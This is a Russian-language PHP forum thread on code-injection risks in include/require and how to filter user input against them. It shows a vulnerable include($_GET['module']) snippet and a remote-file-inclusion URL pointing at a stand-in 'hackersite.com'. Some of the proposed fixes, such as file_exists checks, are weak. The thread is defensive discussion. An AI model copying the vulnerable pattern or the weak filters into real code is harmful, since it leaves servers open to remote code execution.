Инъекция исполняемого кода

Печать RSS
537

У
Автор
Пришелец
0
Все я думаю знают, а кто не знает, будет знать, такие уязвимые функции:
eval()
preg_replace() (с модификаторм "е")
require_once()
include_once()
require()
include()
create_function()

Вот хотелось бы поговорить от том кто как от этого лечится. как правильно отфильтровать в тех или иных случаях.

О первой функции (eval) говорить не будем, так как ее вобще не рекомендую использовать.
О второй по списку поговорим потом, так как меня больше интересуют функции с третей по четвертую. В принципе они исполняют почти одно и тоже, поэтому их можно объединить в одну главу.
И так эти функции могут нести в себе кучу дыр. Фактически дыра там одна и выглядит примерно так:
<?
....
$module = $_GET['module'];
include $module . '.php';
....
?>

Уязвимость:
h t t p : / / mysite . com / index . php ? module = h t t p : / / hackersite . com / inc

Как, в каком случае правильнее и каким способом отфильтровать данные.
Показываем примером кода...
У
Автор
Пришелец
0
На wiki http://ru.wikipedia.org/wiki/PHP-инъекция
прелагают вот так:
Проверять, что $module присвоено одно из допустимых значений.
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
...
?>

Проверять, не содержит ли переменная $module посторонние символы:

<?
...
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
...
?>

а какие еще способы существуют?
Изменил: Украина (11.01.2013 / 04:08)
Ю

deleted
0
Ну, я бы в базе завел табличку с информацией о модулях и перед инклудом проверял бы наличие в этой таблице

Добавлено через 00:46 сек.
Это по сути то же, что и твой пример с массивом

крутой чЕл
0
if(file_exists($module))
{
echo'норм';

} else {

echo'Не нрм';
}
А

Оранжевые штаны
0
зачем тебе принимать от клиента информацию о модулей? Эту информацию должен знать сервер

Пацак
0
а если указывать полный путь до модулья
Через массив $_SERVER ?
A

Пришелец
0
Тема - бред.
Если писать в "таком стиле", то любой яп одна большая дыра.
У
Автор
Пришелец
0
Happy Trololo (11 Января 2013 / 02:54)
Ну, я бы в базе завел табличку с информацией о модулях и перед инклудом проверял бы наличие в этой таблице

Добавлено через 00:46 сек.
Это по сути то же, что и твой пример с массивом
А лишняя нагрузка на сервер базы не будет?
У
Автор
Пришелец
0
4. Wapruks,
Думаю такой вариант можно попробовать!
Изменил: Украина (11.01.2013 / 14:15)
И

Пацак
0
интересно когда вообще может понадобиться принимать запросы от пользователей для инклуда?
Стикеры / Теги / Правила / Топ тем / Топ постов / Поиск